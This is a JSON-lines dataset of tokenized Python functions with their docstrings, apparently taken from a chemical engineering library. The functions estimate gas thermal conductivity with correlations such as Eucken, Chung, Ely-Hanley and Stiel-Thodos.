{"signature": "def Eucken(MW, Cvm, mu):", "body": "MW = MW/<NUM_LIT><EOL>return (<NUM_LIT:1.> + <NUM_LIT:9>/<NUM_LIT>/(Cvm/R))*mu*Cvm/MW<EOL>", "docstring": "r'''Estimates the thermal conductivity of a gas as a function of\n    temperature using the CSP method of Eucken [1]_.\n\n    .. math::\n        \\frac{\\lambda M}{\\eta C_v} = 1 + \\frac{9/4}{C_v/R}\n\n    Parameters\n    ----------\n    MW : float\n        Molecular weight of the gas [g/mol]\n    Cvm : float\n        Molar contant volume heat capacity of the gas [J/mol/K]\n    mu : float\n        Gas viscosity [Pa*S]\n\n    Returns\n    -------\n    kg : float\n        Estimated gas thermal conductivity [W/m/k]\n\n    Notes\n    -----\n    Temperature dependence is introduced via heat capacity and viscosity.\n    A theoretical equation. No original author located.\n    MW internally converted to kg/g-mol.\n\n    Examples\n    --------\n    2-methylbutane at low pressure, 373.15 K. Mathes calculation in [1]_.\n\n    >>> Eucken(MW=72.151, Cvm=135.9, mu=8.77E-6)\n    0.018792644287722975\n\n    References\n    ----------\n    .. [1] Reid, Robert C.; Prausnitz, John M.; Poling, Bruce E.\n       Properties of Gases and Liquids. McGraw-Hill Companies, 1987.", "id": "f15790:m12"}
{"signature": "def Eucken_modified(MW, Cvm, mu):", "body": "MW = MW/<NUM_LIT><EOL>return (<NUM_LIT> + <NUM_LIT>/(Cvm/R))*mu*Cvm/MW<EOL>", "docstring": "r'''Estimates the thermal conductivity of a gas as a function of\n    temperature using the Modified CSP method of Eucken [1]_.\n\n    .. math::\n        \\frac{\\lambda M}{\\eta C_v} = 1.32 + \\frac{1.77}{C_v/R}\n\n    Parameters\n    ----------\n    MW : float\n        Molecular weight of the gas [g/mol]\n    Cvm : float\n        Molar contant volume heat capacity of the gas [J/mol/K]\n    mu : float\n        Gas viscosity [Pa*S]\n\n    Returns\n    -------\n    kg : float\n        Estimated gas thermal conductivity [W/m/k]\n\n    Notes\n    -----\n    Temperature dependence is introduced via heat capacity and viscosity.\n    A theoretical equation. No original author located.\n    MW internally converted to kg/g-mol.\n\n    Examples\n    --------\n    2-methylbutane at low pressure, 373.15 K. Mathes calculation in [1]_.\n\n    >>> Eucken_modified(MW=72.151, Cvm=135.9, mu=8.77E-6)\n    0.023593536999201956\n\n    References\n    ----------\n    .. [1] Reid, Robert C.; Prausnitz, John M.; Poling, Bruce E.\n       Properties of Gases and Liquids. McGraw-Hill Companies, 1987.", "id": "f15790:m13"}
{"signature": "def DIPPR9B(T, MW, Cvm, mu, Tc=None, chemtype=None):", "body": "Cvm = Cvm*<NUM_LIT>  <EOL>if not chemtype:<EOL><INDENT>chemtype = '<STR_LIT>'<EOL><DEDENT>if chemtype == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT>*mu*Cvm/MW<EOL><DEDENT>elif chemtype == '<STR_LIT>':<EOL><INDENT>Tr = T/Tc<EOL>return mu/MW*(<NUM_LIT>*Cvm + <NUM_LIT> - <NUM_LIT>/Tr)<EOL><DEDENT>elif chemtype == '<STR_LIT>':<EOL><INDENT>return mu/MW*(<NUM_LIT>*Cvm + <NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Calculates the thermal conductivity of a gas using one of several\n    emperical equations developed in [1]_, [2]_, and presented in [3]_.\n\n    For monoatomic gases:\n\n    .. math::\n        k = 2.5 \\frac{\\eta C_v}{MW}\n\n    For linear molecules:\n\n    .. math::\n        k = \\frac{\\eta}{MW} \\left( 1.30 C_v + 14644.00 - \\frac{2928.80}{T_r}\\right)\n\n    For nonlinear molecules:\n\n    .. math::\n        k = \\frac{\\eta}{MW}(1.15C_v + 16903.36)\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the fluid [K]\n    Tc : float\n        Critical temperature of the fluid [K]\n    MW : float\n        Molwcular weight of fluid [g/mol]\n    Cvm : float\n        Molar heat capacity at constant volume of fluid, [J/mol/K]\n    mu : float\n        Viscosity of gas, [Pa*S]\n\n    Returns\n    -------\n    k_g : float\n        Thermal conductivity of gas, [W/m/k]\n\n    Notes\n    -----\n    Tested with DIPPR values.\n    Cvm is internally converted to J/kmol/K.\n\n    Examples\n    --------\n    CO:\n\n    >>> DIPPR9B(200., 28.01, 20.826, 1.277E-5, 132.92, chemtype='linear')\n    0.01813208676438415\n\n    References\n    ----------\n    .. [1] Bromley, LeRoy A., Berkeley. University of California, and U.S.\n       Atomic Energy Commission. Thermal Conductivity of Gases at Moderate\n       Pressures. UCRL;1852. Berkeley, CA: University of California Radiation\n       Laboratory, 1952.\n    .. [2] Stiel, Leonard I., and George Thodos. \"The Thermal Conductivity of\n       Nonpolar Substances in the Dense Gaseous and Liquid Regions.\" AIChE\n       Journal 10, no. 1 (January 1, 1964): 26-30. doi:10.1002/aic.690100114\n    .. [3] Danner, Ronald P, and Design Institute for Physical Property Data.\n       Manual for Predicting Chemical Process Design Data. New York, N.Y, 1982.", "id": "f15790:m14"}
{"signature": "def Chung(T, MW, Tc, omega, Cvm, mu):", "body": "MW = MW/<NUM_LIT><EOL>alpha = Cvm/R - <NUM_LIT><EOL>beta = <NUM_LIT> - <NUM_LIT>*omega + <NUM_LIT>*omega**<NUM_LIT:2><EOL>Z = <NUM_LIT:2> + <NUM_LIT>*(T/Tc)**<NUM_LIT:2><EOL>psi = <NUM_LIT:1> + alpha*((<NUM_LIT> + <NUM_LIT>*alpha - <NUM_LIT>*beta + <NUM_LIT>*Z)<EOL>/(<NUM_LIT> + beta*Z + <NUM_LIT>*alpha*beta))<EOL>return <NUM_LIT>*psi/(Cvm/R)/MW*mu*Cvm<EOL>", "docstring": "r'''Estimates the thermal conductivity of a gas as a function of\n    temperature using the CSP method of Chung [1]_.\n\n    .. math::\n        \\frac{\\lambda M}{\\eta C_v} = \\frac{3.75 \\Psi}{C_v/R}\n\n        \\Psi = 1 + \\alpha \\left\\{[0.215+0.28288\\alpha-1.061\\beta+0.26665Z]/\n        [0.6366+\\beta Z + 1.061 \\alpha \\beta]\\right\\}\n\n        \\alpha = \\frac{C_v}{R}-1.5\n\n        \\beta = 0.7862-0.7109\\omega + 1.3168\\omega^2\n\n        Z=2+10.5T_r^2\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the gas [K]\n    MW : float\n        Molecular weight of the gas [g/mol]\n    Tc : float\n        Critical temperature of the gas [K]\n    omega : float\n        Acentric factor of the gas [-]\n    Cvm : float\n        Molar contant volume heat capacity of the gas [J/mol/K]\n    mu : float\n        Gas viscosity [Pa*S]\n\n    Returns\n    -------\n    kg : float\n        Estimated gas thermal conductivity [W/m/k]\n\n    Notes\n    -----\n    MW internally converted to kg/g-mol.\n\n    Examples\n    --------\n    2-methylbutane at low pressure, 373.15 K. Mathes calculation in [2]_.\n\n    >>> Chung(T=373.15, MW=72.151, Tc=460.4, omega=0.227, Cvm=135.9, mu=8.77E-6)\n    0.023015653729496946\n\n    References\n    ----------\n    .. [1] Chung, Ting Horng, Lloyd L. Lee, and Kenneth E. Starling.\n       \"Applications of Kinetic Gas Theories and Multiparameter Correlation for\n       Prediction of Dilute Gas Viscosity and Thermal Conductivity.\"\n       Industrial & Engineering Chemistry Fundamentals 23, no. 1\n       (February 1, 1984): 8-13. doi:10.1021/i100013a002\n    .. [2] Reid, Robert C.; Prausnitz, John M.; Poling, Bruce E.\n       Properties of Gases and Liquids. McGraw-Hill Companies, 1987.", "id": "f15790:m15"}
{"signature": "def eli_hanley(T, MW, Tc, Vc, Zc, omega, Cvm):", "body": "Cs = [<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <EOL><NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>]<EOL>Tr = T/Tc<EOL>if Tr > <NUM_LIT:2>: Tr = <NUM_LIT:2><EOL>theta = <NUM_LIT:1> + (omega - <NUM_LIT>)*(<NUM_LIT> - <NUM_LIT>*log(Tr) - <NUM_LIT>/Tr)<EOL>psi = (<NUM_LIT:1> + (omega-<NUM_LIT>)*(<NUM_LIT> - <NUM_LIT>*log(Tr)))*<NUM_LIT>/Zc<EOL>f = Tc/<NUM_LIT>*theta<EOL>h = Vc/<NUM_LIT>*psi<EOL>T0 = T/f<EOL>eta0 = <NUM_LIT>*sum([Ci*T0**((i+<NUM_LIT:1.> - <NUM_LIT>)/<NUM_LIT>) for i, Ci in enumerate(Cs)])<EOL>k0 = <NUM_LIT>*eta0<EOL>H = (<NUM_LIT>/MW)**<NUM_LIT:0.5>*f**<NUM_LIT:0.5>*h**(-<NUM_LIT:2>/<NUM_LIT>)<EOL>etas = eta0*H*MW/<NUM_LIT><EOL>ks = k0*H<EOL>return ks + etas/(MW/<NUM_LIT>)*<NUM_LIT>*(Cvm - <NUM_LIT>*R)<EOL>", "docstring": "r'''Estimates the thermal conductivity of a gas as a function of\n    temperature using the reference fluid method of Eli and Hanley [1]_ as\n    shown in [2]_.\n\n    .. math::\n        \\lambda = \\lambda^* + \\frac{\\eta^*}{MW}(1.32)\\left(C_v - \\frac{3R}{2}\\right)\n\n        Tr = \\text{min}(Tr, 2)\n\n        \\theta = 1 + (\\omega-0.011)\\left(0.56553 - 0.86276\\ln Tr - \\frac{0.69852}{Tr}\\right)\n\n        \\psi = [1 + (\\omega - 0.011)(0.38560 - 1.1617\\ln Tr)]\\frac{0.288}{Z_c}\n\n        f = \\frac{T_c}{190.4}\\theta\n\n        h = \\frac{V_c}{9.92E-5}\\psi\n\n        T_0 = T/f\n\n        \\eta_0^*(T_0)= \\sum_{n=1}^9 C_n T_0^{(n-4)/3}\n\n        \\theta_0 = 1944 \\eta_0\n\n        \\lambda^* = \\lambda_0 H\n\n        \\eta^* = \\eta^*_0 H \\frac{MW}{16.04}\n\n        H = \\left(\\frac{16.04}{MW}\\right)^{0.5}f^{0.5}/h^{2/3}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the gas [K]\n    MW : float\n        Molecular weight of the gas [g/mol]\n    Tc : float\n        Critical temperature of the gas [K]\n    Vc : float\n        Critical volume of the gas [m^3/mol]\n    Zc : float\n        Critical compressibility of the gas []\n    omega : float\n        Acentric factor of the gas [-]\n    Cvm : float\n        Molar contant volume heat capacity of the gas [J/mol/K]\n\n    Returns\n    -------\n    kg : float\n        Estimated gas thermal conductivity [W/m/k]\n\n    Notes\n    -----\n    Reference fluid is Methane.\n    MW internally converted to kg/g-mol.\n\n    Examples\n    --------\n    2-methylbutane at low pressure, 373.15 K. Mathes calculation in [2]_.\n\n    >>> eli_hanley(T=373.15, MW=72.151, Tc=460.4, Vc=3.06E-4, Zc=0.267,\n    ... omega=0.227, Cvm=135.9)\n    0.02247951789135337\n\n    References\n    ----------\n    .. [1] Ely, James F., and H. J. M. Hanley. \"Prediction of Transport\n       Properties. 2. Thermal Conductivity of Pure Fluids and Mixtures.\"\n       Industrial & Engineering Chemistry Fundamentals 22, no. 1 (February 1,\n       1983): 90-97. doi:10.1021/i100009a016.\n    .. [2] Reid, Robert C.; Prausnitz, John M.; Poling, Bruce E.\n       Properties of Gases and Liquids. McGraw-Hill Companies, 1987.", "id": "f15790:m16"}
{"signature": "def Gharagheizi_gas(T, MW, Tb, Pc, omega):", "body": "Pc = Pc/<NUM_LIT><EOL>B = T + (<NUM_LIT>*omega + <NUM_LIT>*T - <NUM_LIT>*T*(<NUM_LIT>*omega + <NUM_LIT>)/Tb + <NUM_LIT>)/(<NUM_LIT:2>*omega + T - T*(<NUM_LIT:2>*omega+<NUM_LIT>)/Tb + <NUM_LIT>) - T*(<NUM_LIT:2>*omega+<NUM_LIT>)/Tb<EOL>A = (<NUM_LIT:2>*omega + T - T*(<NUM_LIT:2>*omega + <NUM_LIT>)/Tb + <NUM_LIT>)/(<NUM_LIT:0.1>*MW*Pc*T) * (<NUM_LIT>*omega + <NUM_LIT:0.1>*Pc + <NUM_LIT>*B + <NUM_LIT>)**<NUM_LIT:2><EOL>return <NUM_LIT> + <NUM_LIT>*T - <NUM_LIT>*MW + <NUM_LIT>*A<EOL>", "docstring": "r'''Estimates the thermal conductivity of a gas as a function of\n    temperature using the CSP method of Gharagheizi [1]_. A  convoluted\n    method claiming high-accuracy and using only statistically significant\n    variable following analalysis.\n\n    Requires temperature, molecular weight, boiling temperature and critical\n    pressure and acentric factor.\n\n    .. math::\n        k = 7.9505\\times 10^{-4} + 3.989\\times 10^{-5} T\n        -5.419\\times 10^-5 M + 3.989\\times 10^{-5} A\n\n       A = \\frac{\\left(2\\omega + T - \\frac{(2\\omega + 3.2825)T}{T_b} + 3.2825\\right)}{0.1MP_cT}\n        \\times (3.9752\\omega + 0.1 P_c + 1.9876B + 6.5243)^2\n\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the fluid [K]\n    MW: float\n        Molecular weight of the fluid [g/mol]\n    Tb : float\n        Boiling temperature of the fluid [K]\n    Pc : float\n        Critical pressure of the fluid [Pa]\n    omega : float\n        Acentric factor of the fluid [-]\n\n    Returns\n    -------\n    kg : float\n        Estimated gas thermal conductivity [W/m/k]\n\n    Notes\n    -----\n    Pressure is internally converted into 10*kPa but author used correlation with\n    kPa; overall, errors have been corrected in the presentation of the formula.\n\n    This equation was derived with 15927 points and 1574 compounds.\n    Example value from [1]_ is the first point in the supportinf info, for CH4.\n\n    Examples\n    --------\n    >>> Gharagheizi_gas(580., 16.04246, 111.66, 4599000.0, 0.0115478000)\n    0.09594861261873211\n\n    References\n    ----------\n    .. [1] Gharagheizi, Farhad, Poorandokht Ilani-Kashkouli, Mehdi Sattari,\n       Amir H. Mohammadi, Deresh Ramjugernath, and Dominique Richon.\n       \"Development of a General Model for Determination of Thermal\n       Conductivity of Liquid Chemical Compounds at Atmospheric Pressure.\"\n       AIChE Journal 59, no. 5 (May 1, 2013): 1702-8. doi:10.1002/aic.13938", "id": "f15790:m17"}
{"signature": "def Bahadori_gas(T, MW):", "body": "A = [<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>]<EOL>B = [-<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>]<EOL>C = [<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>]<EOL>D = [-<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>]<EOL>X, Y = T, MW<EOL>a = A[<NUM_LIT:0>] + B[<NUM_LIT:0>]*X + C[<NUM_LIT:0>]*X**<NUM_LIT:2> + D[<NUM_LIT:0>]*X**<NUM_LIT:3><EOL>b = A[<NUM_LIT:1>] + B[<NUM_LIT:1>]*X + C[<NUM_LIT:1>]*X**<NUM_LIT:2> + D[<NUM_LIT:1>]*X**<NUM_LIT:3><EOL>c = A[<NUM_LIT:2>] + B[<NUM_LIT:2>]*X + C[<NUM_LIT:2>]*X**<NUM_LIT:2> + D[<NUM_LIT:2>]*X**<NUM_LIT:3><EOL>d = A[<NUM_LIT:3>] + B[<NUM_LIT:3>]*X + C[<NUM_LIT:3>]*X**<NUM_LIT:2> + D[<NUM_LIT:3>]*X**<NUM_LIT:3><EOL>return a + b*Y + c*Y**<NUM_LIT:2> + d*Y**<NUM_LIT:3><EOL>", "docstring": "r'''Estimates the thermal conductivity of hydrocarbons gases at low P.\n    Fits their data well, and is useful as only MW is required.\n    Y is the Molecular weight, and X the temperature.\n\n    .. math::\n        K = a + bY + CY^2 + dY^3\n\n        a = A_1 + B_1 X + C_1 X^2 + D_1 X^3\n\n        b = A_2 + B_2 X + C_2 X^2 + D_2 X^3\n\n        c = A_3 + B_3 X + C_3 X^2 + D_3 X^3\n\n        d = A_4 + B_4 X + C_4 X^2 + D_4 X^3\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the gas [K]\n    MW : float\n        Molecular weight of the gas [g/mol]\n\n    Returns\n    -------\n    kg : float\n        Estimated gas thermal conductivity [W/m/k]\n\n    Notes\n    -----\n    The accuracy of this equation has not been reviewed.\n\n    Examples\n    --------\n    >>> Bahadori_gas(40+273.15, 20) # Point from article\n    0.031968165337873326\n\n    References\n    ----------\n    .. [1] Bahadori, Alireza, and Saeid Mokhatab. \"Estimating Thermal\n       Conductivity of Hydrocarbons.\" Chemical Engineering 115, no. 13\n       (December 2008): 52-54", "id": "f15790:m18"}
{"signature": "def stiel_thodos_dense(T, MW, Tc, Pc, Vc, Zc, Vm, kg):", "body": "gamma = <NUM_LIT>*(Tc*MW**<NUM_LIT>/(Pc/<NUM_LIT>)**<NUM_LIT:4>)**(<NUM_LIT:1>/<NUM_LIT>)<EOL>rhor = Vc/Vm<EOL>if rhor < <NUM_LIT:0.5>:<EOL><INDENT>term = <NUM_LIT>*(exp(<NUM_LIT>*rhor) - <NUM_LIT:1.>)<EOL><DEDENT>elif rhor < <NUM_LIT:2>:<EOL><INDENT>term = <NUM_LIT>*(exp(<NUM_LIT>*rhor) - <NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>term = <NUM_LIT>*(exp(<NUM_LIT>*rhor) + <NUM_LIT>)<EOL><DEDENT>diff = term/Zc**<NUM_LIT:5>/gamma<EOL>kg = kg + diff<EOL>return kg<EOL>", "docstring": "r'''Estimates the thermal conductivity of a gas at high pressure as a\n    function of temperature using difference method of Stiel and Thodos [1]_\n    as shown in [2]_.\n\n    if \\rho_r < 0.5:\n\n    .. math::\n        (\\lambda-\\lambda^\\circ)\\Gamma Z_c^5=1.22\\times 10^{-2} [\\exp(0.535 \\rho_r)-1]\n\n    if 0.5 < \\rho_r < 2.0:\n\n    .. math::\n        (\\lambda-\\lambda^\\circ)\\Gamma Z_c^5=1.22\\times 10^{-2} [\\exp(0.535 \\rho_r)-1]\n\n    if 2 < \\rho_r < 2.8:\n\n    .. math::\n        (\\lambda-\\lambda^\\circ)\\Gamma Z_c^5=1.22\\times 10^{-2} [\\exp(0.535 \\rho_r)-1]\n\n        \\Gamma = 210 \\left(\\frac{T_cMW^3}{P_c^4}\\right)^{1/6}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the gas [K]\n    MW : float\n        Molecular weight of the gas [g/mol]\n    Tc : float\n        Critical temperature of the gas [K]\n    Pc : float\n        Critical pressure of the gas [Pa]\n    Vc : float\n        Critical volume of the gas [m^3/mol]\n    Zc : float\n        Critical compressibility of the gas [-]\n    Vm : float\n        Molar volume of the gas at T and P [m^3/mol]\n    kg : float\n        Low-pressure gas thermal conductivity [W/m/k]\n\n    Returns\n    -------\n    kg : float\n        Estimated dense gas thermal conductivity [W/m/k]\n\n    Notes\n    -----\n    Pc is internally converted to bar.\n\n    Examples\n    --------\n    >>> stiel_thodos_dense(T=378.15, MW=44.013, Tc=309.6, Pc=72.4E5,\n    ... Vc=97.4E-6, Zc=0.274, Vm=144E-6, kg=2.34E-2)\n    0.041245574404863684\n\n    References\n    ----------\n    .. [1] Stiel, Leonard I., and George Thodos. \"The Thermal Conductivity of\n       Nonpolar Substances in the Dense Gaseous and Liquid Regions.\" AIChE\n       Journal 10, no. 1 (January 1, 1964): 26-30. doi:10.1002/aic.690100114.\n    .. [2] Reid, Robert C.; Prausnitz, John M.; Poling, Bruce E.\n       Properties of Gases and Liquids. McGraw-Hill Companies, 1987.", "id": "f15790:m19"}
{"signature": "def eli_hanley_dense(T, MW, Tc, Vc, Zc, omega, Cvm, Vm):", "body": "Cs = [<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>,<EOL><NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>,<EOL><NUM_LIT>]<EOL>Tr = T/Tc<EOL>if Tr > <NUM_LIT:2>:<EOL><INDENT>Tr = <NUM_LIT:2><EOL><DEDENT>Vr = Vm/Vc<EOL>if Vr > <NUM_LIT:2>:<EOL><INDENT>Vr = <NUM_LIT:2><EOL><DEDENT>theta = <NUM_LIT:1> + (omega - <NUM_LIT>)*(<NUM_LIT> - <NUM_LIT>*log(Tr) + (<NUM_LIT> - <NUM_LIT>/Tr)*(Vr-<NUM_LIT:0.5>))<EOL>psi = (<NUM_LIT:1> + (omega-<NUM_LIT>)*(<NUM_LIT>*(Vr-<NUM_LIT>) - <NUM_LIT>*(Vr-<NUM_LIT>)*log(Tr)))*<NUM_LIT>/Zc<EOL>f = Tc/<NUM_LIT>*theta<EOL>h = Vc/<NUM_LIT>*psi<EOL>T0 = T/f<EOL>rho0 = <NUM_LIT>/(Vm*<NUM_LIT>)*h  <EOL>eta0 = <NUM_LIT>*sum([Cs[i]*T0**((i+<NUM_LIT:1>-<NUM_LIT:4>)/<NUM_LIT>) for i in range(len(Cs))])<EOL>k1 = <NUM_LIT>*eta0<EOL>b1 = -<NUM_LIT><EOL>b2 = <NUM_LIT><EOL>b3 = <NUM_LIT><EOL>b4 = <NUM_LIT><EOL>k2 = (b1 + b2*(b3 - log(T0/b4))**<NUM_LIT:2>)/<NUM_LIT>*rho0<EOL>a1 = -<NUM_LIT><EOL>a2 = <NUM_LIT><EOL>a3 = <NUM_LIT><EOL>a4 = -<NUM_LIT><EOL>a5 = <NUM_LIT><EOL>a6 = <NUM_LIT><EOL>a7 = -<NUM_LIT><EOL>k3 = exp(a1 + a2/T0)*(exp((a3 + a4/T0**<NUM_LIT>)*rho0**<NUM_LIT:0.1> + (rho0/<NUM_LIT> - <NUM_LIT:1>)*rho0**<NUM_LIT:0.5>*(a5 + a6/T0 + a7/T0**<NUM_LIT:2>)) - <NUM_LIT:1>)/<NUM_LIT><EOL>if T/Tc > <NUM_LIT:2>:<EOL><INDENT>dtheta = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>dtheta = (omega - <NUM_LIT>)*(-<NUM_LIT>/T + (Vr-<NUM_LIT:0.5>)*<NUM_LIT>*Tc/T**<NUM_LIT:2>)<EOL><DEDENT>dfdT = Tc/<NUM_LIT>*dtheta<EOL>X = ((<NUM_LIT:1> - T/f*dfdT)*<NUM_LIT>/Zc)**<NUM_LIT><EOL>H = (<NUM_LIT>/MW)**<NUM_LIT:0.5>*f**<NUM_LIT:0.5>/h**(<NUM_LIT:2>/<NUM_LIT>)<EOL>ks = (k1*X + k2 + k3)*H<EOL>theta = <NUM_LIT:1> + (omega - <NUM_LIT>)*(<NUM_LIT> - <NUM_LIT>*log(Tr) - <NUM_LIT>/Tr)<EOL>psi = (<NUM_LIT:1> + (omega-<NUM_LIT>)*(<NUM_LIT> - <NUM_LIT>*log(Tr)))*<NUM_LIT>/Zc<EOL>f = Tc/<NUM_LIT>*theta<EOL>h = Vc/<NUM_LIT>*psi<EOL>T0 = T/f<EOL>eta0 = <NUM_LIT>*sum([Cs[i]*T0**((i+<NUM_LIT:1>-<NUM_LIT:4>)/<NUM_LIT>) for i in range(len(Cs))])<EOL>H = (<NUM_LIT>/MW)**<NUM_LIT:0.5>*f**<NUM_LIT:0.5>/h**(<NUM_LIT:2>/<NUM_LIT>)<EOL>etas = eta0*H*MW/<NUM_LIT><EOL>k = ks + etas/(MW/<NUM_LIT>)*<NUM_LIT>*(Cvm-<NUM_LIT:3>*R/<NUM_LIT>)<EOL>return k<EOL>", "docstring": "r'''Estimates the thermal conductivity of a gas at high pressure as a\n    function of temperature using the reference fluid method of Eli and\n    Hanley [1]_ as shown in [2]_.\n\n    .. math::\n        Tr = min(Tr, 2)\n\n        Vr = min(Vr, 2)\n\n        f = \\frac{T_c}{190.4}\\theta\n\n        h = \\frac{V_c}{9.92E-5}\\psi\n\n        T_0 = T/f\n\n        \\rho_0 = \\frac{16.04}{V}h\n\n        \\theta = 1 + (\\omega-0.011)\\left(0.09057 - 0.86276\\ln Tr + \\left(\n        0.31664 - \\frac{0.46568}{Tr}\\right) (V_r - 0.5)\\right)\n\n        \\psi = [1 + (\\omega - 0.011)(0.39490(V_r - 1.02355) - 0.93281(V_r -\n        0.75464)\\ln T_r]\\frac{0.288}{Z_c}\n\n        \\lambda_1 = 1944 \\eta_0\n\n        \\lambda_2 = \\left\\{b_1 + b_2\\left[b_3 - \\ln \\left(\\frac{T_0}{b_4}\n        \\right)\\right]^2\\right\\}\\rho_0\n\n        \\lambda_3 = \\exp\\left(a_1 + \\frac{a_2}{T_0}\\right)\\left\\{\\exp[(a_3 +\n        \\frac{a_4}{T_0^{1.5}})\\rho_0^{0.1} + (\\frac{\\rho_0}{0.1617} - 1)\n        \\rho_0^{0.5}(a_5 + \\frac{a_6}{T_0} + \\frac{a_7}{T_0^2})] - 1\\right\\}\n\n        \\lambda^{**} = [\\lambda_1 + \\lambda_2 + \\lambda_3]H\n\n        H = \\left(\\frac{16.04}{MW}\\right)^{0.5}f^{0.5}/h^{2/3}\n\n        X = \\left\\{\\left[1 - \\frac{T}{f}\\left(\\frac{df}{dT}\\right)_v \\right]\n        \\frac{0.288}{Z_c}\\right\\}^{1.5}\n\n        \\left(\\frac{df}{dT}\\right)_v = \\frac{T_c}{190.4}\\left(\\frac{d\\theta}\n        {d T}\\right)_v\n\n        \\left(\\frac{d\\theta}{d T}\\right)_v = (\\omega-0.011)\\left[\n        \\frac{-0.86276}{T} + (V_r-0.5)\\frac{0.46568T_c}{T^2}\\right]\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the gas [K]\n    MW : float\n        Molecular weight of the gas [g/mol]\n    Tc : float\n        Critical temperature of the gas [K]\n    Vc : float\n        Critical volume of the gas [m^3/mol]\n    Zc : float\n        Critical compressibility of the gas []\n    omega : float\n        Acentric factor of the gas [-]\n    Cvm : float\n        Molar contant volume heat capacity of the gas [J/mol/K]\n    Vm : float\n        Volume of the gas at T and P [m^3/mol]\n\n    Returns\n    -------\n    kg : float\n        Estimated dense gas thermal conductivity [W/m/k]\n\n    Notes\n    -----\n    Reference fluid is Methane.\n    MW internally converted to kg/g-mol.\n\n    Examples\n    --------\n    >>> eli_hanley_dense(T=473., MW=42.081, Tc=364.9, Vc=1.81E-4, Zc=0.274,\n    ... omega=0.144, Cvm=82.70, Vm=1.721E-4)\n    0.06038475936515042\n\n    References\n    ----------\n    .. [1] Ely, James F., and H. J. M. Hanley. \"Prediction of Transport\n       Properties. 2. Thermal Conductivity of Pure Fluids and Mixtures.\"\n       Industrial & Engineering Chemistry Fundamentals 22, no. 1 (February 1,\n       1983): 90-97. doi:10.1021/i100009a016.\n    .. [2] Reid, Robert C.; Prausnitz, John M.; Poling, Bruce E.\n       Properties of Gases and Liquids. McGraw-Hill Companies, 1987.", "id": "f15790:m20"}
{"signature": "def chung_dense(T, MW, Tc, Vc, omega, Cvm, Vm, mu, dipole, association=<NUM_LIT:0>):", "body": "ais = [<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>]<EOL>bis = [<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>]<EOL>cis = [-<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>]<EOL>dis = [<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>]<EOL>Tr = T/Tc<EOL>mur = <NUM_LIT>*dipole/(Vc*<NUM_LIT>*Tc)**<NUM_LIT:0.5><EOL>alpha = Cvm/R - <NUM_LIT><EOL>beta = <NUM_LIT> - <NUM_LIT>*omega + <NUM_LIT>*omega**<NUM_LIT:2><EOL>Z = <NUM_LIT:2> + <NUM_LIT>*(T/Tc)**<NUM_LIT:2><EOL>psi = <NUM_LIT:1> + alpha*((<NUM_LIT> + <NUM_LIT>*alpha - <NUM_LIT>*beta + <NUM_LIT>*Z)/(<NUM_LIT> + beta*Z + <NUM_LIT>*alpha*beta))<EOL>y = Vc/(<NUM_LIT:6>*Vm)<EOL>B1, B2, B3, B4, B5, B6, B7 = [ais[i] + bis[i]*omega + cis[i]*mur**<NUM_LIT:4> + dis[i]*association for i in range(<NUM_LIT:7>)]<EOL>G1 = (<NUM_LIT:1> - <NUM_LIT:0.5>*y)/(<NUM_LIT:1.> - y)**<NUM_LIT:3><EOL>G2 = (B1/y*(<NUM_LIT:1> - exp(-B4*y)) + B2*G1*exp(B5*y) + B3*G1)/(B1*B4 + B2 + B3)<EOL>q = <NUM_LIT>*(Tc/(MW/<NUM_LIT>))**<NUM_LIT:0.5>/(Vc*<NUM_LIT>)**(<NUM_LIT:2>/<NUM_LIT>)<EOL>return <NUM_LIT>*mu*psi/(MW/<NUM_LIT>)*(G2**-<NUM_LIT:1> + B6*y) + q*B7*y**<NUM_LIT:2>*Tr**<NUM_LIT:0.5>*G2<EOL>", "docstring": "r'''Estimates the thermal conductivity of a gas at high pressure as a\n    function of temperature using the reference fluid method of\n    Chung [1]_ as shown in [2]_.\n\n    .. math::\n        \\lambda = \\frac{31.2 \\eta^\\circ \\Psi}{M'}(G_2^{-1} + B_6 y)+qB_7y^2T_r^{1/2}G_2\n\n        \\Psi = 1 + \\alpha \\left\\{[0.215+0.28288\\alpha-1.061\\beta+0.26665Z]/\n        [0.6366+\\beta Z + 1.061 \\alpha \\beta]\\right\\}\n\n        \\alpha = \\frac{C_v}{R}-1.5\n\n        \\beta = 0.7862-0.7109\\omega + 1.3168\\omega^2\n\n        Z=2+10.5T_r^2\n\n        q = 3.586\\times 10^{-3} (T_c/M')^{1/2}/V_c^{2/3}\n\n        y = \\frac{V_c}{6V}\n\n        G_1 = \\frac{1-0.5y}{(1-y)^3}\n\n        G_2 = \\frac{(B_1/y)[1-\\exp(-B_4y)]+ B_2G_1\\exp(B_5y) + B_3G_1}\n        {B_1B_4 + B_2 + B_3}\n\n        B_i = a_i + b_i \\omega + c_i \\mu_r^4 + d_i 